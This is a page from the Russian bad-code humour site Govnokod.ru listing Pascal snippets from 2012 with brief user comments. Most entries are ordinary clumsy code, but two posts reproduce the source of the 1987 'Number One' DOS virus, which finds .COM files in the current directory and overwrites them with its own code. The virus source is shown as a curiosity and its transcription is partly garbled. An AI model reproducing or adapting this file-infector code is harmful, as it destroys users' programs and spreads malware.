Pascal — Говнокод.ру

Pascal / Говнокод #10625

+92

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

function THandlerServerCommands.CheckCommandOnDigits(const AComand: string;
  var AIndex: integer): Boolean;
var
  i, k: Integer;
  Nn, Ln: integer;
  TempComand: string;
begin
  Result := False;
  try
    TempComand := AComand;
    Ln := 1;
    Nn := 0;
    if FServerCommands.Find(TempComand, i) then
    begin
      AIndex := i;
      Result := True;
      Exit;
    end;

    for k := 1 to Length(AComand) do
    begin
      if not (AComand[k] in ['0'..'9']) then
        inc(Nn)
      else
      begin
        inc(Nn);
        if Nn > Ln then
        begin
          TempComand := '';
          TempComand := Copy(AComand, 1, Nn - 1);
          if FServerCommands.Find(TempComand, i) then
          begin
            AIndex := i;
            Result := True;
            Break;
          end;
        end;
        Ln := Nn + 1;
      end;
    end;
  except
    on e: Exception do
    begin
      Result := False;
      LogEx.Error('Ошибка в процедуре CheckCommandOnDigits c параметрами AComand = ' + AComand + ' ' + e.Message);
    end;
  end;
end;

Проверьте код на запашок

DeadIgle, 08 Июня 2012

Комментарии (8)

Pascal / Говнокод #10586

+101

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

procedure TForm1.Button1Click(Sender: TObject);
const
n=4;
var
x,y,r: integer;
 x1, y1, x2, y2, x3, y3, x4, y4,i : real;
  a: string;
begin
  //n:=strtoint(edit1.text);
   x:=strtoint(edit2.text);
    y:=strtoint(edit3.text);
      x1:=strtofloat(edit4.text);
       y1:=strtofloat(edit5.text);
         x2:=strtofloat(edit1.text);
       y2:=strtofloat(edit6.text);
         x3:=strtofloat(edit7.text);
       y3:=strtofloat(edit8.text);
         x4:=strtofloat(edit9.text);
       y4:=strtofloat(edit10.text);
          if (y1>y) or (y1<0) or (x1>x)or (x1<0)  then
        showmessage('дачник 1');
          if (y2>y) or (y2<0) or (x2>x+x)or (x2<0)  then
        showmessage('дачник 1');
        if (y3>y) or (y3<0) or (x3>x+x)or (x3<0)  then
        showmessage('дачник 1');
        if (y4>y) or (y4<0) or (x4>x+x)or (x4<0)  then
        showmessage('дачник 1');

условие не лучше решения)
"Всем известно, что дачники – народ странный. Строят они свои дачи непонятно где, да и выращивают там непонятно что и непонятно зачем. А уж как они туда добираются, это другая история: кто на автобусе, кто на электричке, кто на автомобиле, ну а кто-то во-все пешком ходит от дома и до самого участка. Так что не стоит удивляться, если вдруг Вы узнаете, что некое садоводческое товарищество располагается на острове, а дачники добираются до него самолетом. Да еще и на этом острове может не быть посадочной полосы, так что высадиться на остров можно, только прыгая с парашютом (мы уж не рассматриваем то, как они возвращаются с дач домой). Рассмотрим этот уникальный случай. Пилот всегда старается осуществить высадку парашютистов таким образом, чтобы дачники приземлялись как можно ближе к своим прямоугольным участкам. Пилоту интересно знать: сколько дачников приземлится на свои участки? Помогите ему решить эту задачу!"
O_o

qwerty13, 05 Июня 2012

Комментарии (6)

Pascal / Говнокод #10585

+99

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

case NumberOfRegionalProblem of
    1:begin
        for i:=0 to N-1 do
          begin
            Mt[0,M+2]:=Fmu1(s[i+1,0].t);
            Mt[M+1,M+2]:=Fmu2(s[i+1,0].t);
            for j:=1 to M do
              Mt[j,M+2]:=sqr(h)*(Y[i,j]+tau*FF(S[i,j].x,S[i,j].t));
            progon(Mt,M,Y[i+1]);
          end;
      end;
    2:begin
        for i:=0 to N-1 do
          begin
            Mt[0,M+2]:=Fmu1(s[i+1,0].t);
            Mt[M+1,M+2]:=Fmu2(s[i+1,0].t);
            for j:=1 to M do
              Mt[j,M+2]:=sqr(h)*(Y[i,j]+tau*FF(S[i,j].x,S[i,j].t));
            progon(Mt,M,Y[i+1]);
          end;
      end;
    3:begin
        for i:=0 to N-1 do
          begin
            Mt[0,M+2]:=Fmu1(s[i+1,0].t);
            Mt[M+1,M+2]:=Fmu2(s[i+1,0].t);
            for j:=1 to M do
              Mt[j,M+2]:=sqr(h)*(Y[i,j]+tau*FF(S[i,j].x,S[i,j].t));
            progon(Mt,M,Y[i+1]);
          end;
      end;
  end;

Автор наркоман наверное, хз даже... :(

SkuII, 05 Июня 2012

Комментарии (8)

Pascal / Говнокод #10539

+102

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18

{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.

http://www.liveinternet.ru/users/gafarov-91/post120984751/

Вторая часть.

dos_, 03 Июня 2012

Комментарии (34)

Pascal / Говнокод #10538

+94

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100

{
-----------------------------------------------------------------

Number One

This is a very primitiv computer virus.

HANDLE WITH CARE! ----------- demonstration ONLY!

Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a .
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;

{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}

MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}

Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }

--Program code-------------------------------------------------------

Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}

if Post ('', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;

http://www.liveinternet.ru/users/gafarov-91/post120984751/

Первая часть.

dos_, 03 Июня 2012

Комментарии (17)

Pascal / Говнокод #10405

+97

01
02
03
04
05
06
07
08
09
10
11
12
13

SetLength(s,N);
  SetLength(Y,N);
  SetLength(U,N);
  SetLength(Z,N);
  SetLength(E,N);
  for i:=0 to N do  //какбэ на выход за границы даже не смотрим, не в этом суть
    begin
      SetLength(S[i],M);
      SetLength(Y[i],M);
      SetLength(U[i],M);
      SetLength(Z[i],M);
      SetLength(E[i],M);
    end;

Переделывал чужой консольный проект под форму, не сразу понял, что происходит.
Так вот, Вы, наверное, думаете, что знаете, как задавать размер динамического массива? Нет, нихрена вы не знаете.

SkuII, 29 Мая 2012

Комментарии (33)

Pascal / Говнокод #10389

+67

1

ПЕРВЫЙ НАХ!!!

uiopqwertyasd, 29 Мая 2012

Комментарии (0)

Pascal / Говнокод #10316

+100

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function Tf_MainFrame.DateToText(d: TDate; tp: integer): string;
var s: string;
    g: integer;
begin
  if DateToStr(d) = '00.00.0000' then
  begin
    result := '';
  end else begin
  case tp of
    2:begin
        s := ''; DateTimeToString(s,'dd',d);
        result := s;
        DateTimeToString(s,'mm',d);
        g := StrToInt(s);
        DateTimeToString(s,'yyyy',d);
        case g of
            1:  begin result := result + ' января ' + s; end;
            2:  begin result := result + ' февраля ' + s; end;
            3:  begin result := result + ' марта ' + s; end;
            4:  begin result := result + ' апреля ' + s; end;
            5:  begin result := result + ' майя ' + s; end;
            6:  begin result := result + ' июня ' + s; end;
            7:  begin result := result + ' июля ' + s; end;
            8:  begin result := result + ' августа ' + s; end;
            9:  begin result := result + ' сентября ' + s; end;
            10: begin result := result + ' октября ' + s; end;
            11: begin result := result + ' ноября ' + s; end;
            12: begin result := result + ' декабря ' + s; end;
        end;
      end
    else begin
       result := DateToStr(d);
    end;
  end;
  end;
end;

Календарь ацтеков, месяц майя:)

Nilud, 18 Мая 2012

Комментарии (24)

Pascal / Говнокод #10195

+111

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

{$APPTYPE CONSOLE}
{$R *.res}

type
  TFTest = class
  public
    B: string;
    function Add(S: string = ''): TFTest;
    constructor Create(T: TFTest); overload;
  end;

function TFTest.Add(S: string): TFTest;
begin
  B := B + S;
  Exit(Self);
end;

var
  A: TFTest;

constructor TFTest.Create(T: TFTest);
begin
  B := T.B;
end;

begin
  writeln(TFTest.Create.Add('0')
    .Create((TFTest.Create(TFTest.Create(((((((TFTest.Create(TFTest.Create).Add('0')).Add('1').Create.Add('2')
    .Add as TObject).Create) as TFTest.ClassParent) as TFTest).Create).Add('3')).Add.Add('4').Create).Add('5')).Add('6')
    ).Add('7').B);
  readln;

end.

Кто правильно обьяснит этот код, получит... ничего получит :)

ReckO, 05 Мая 2012

Комментарии (7)

Pascal / Говнокод #10180

+105

1

For i:=0 to 40 do For j:=1 to 10 do if (j=0) and (j=10) then W[i,j]:=0;

Проблемы?

qweqwe, 03 Мая 2012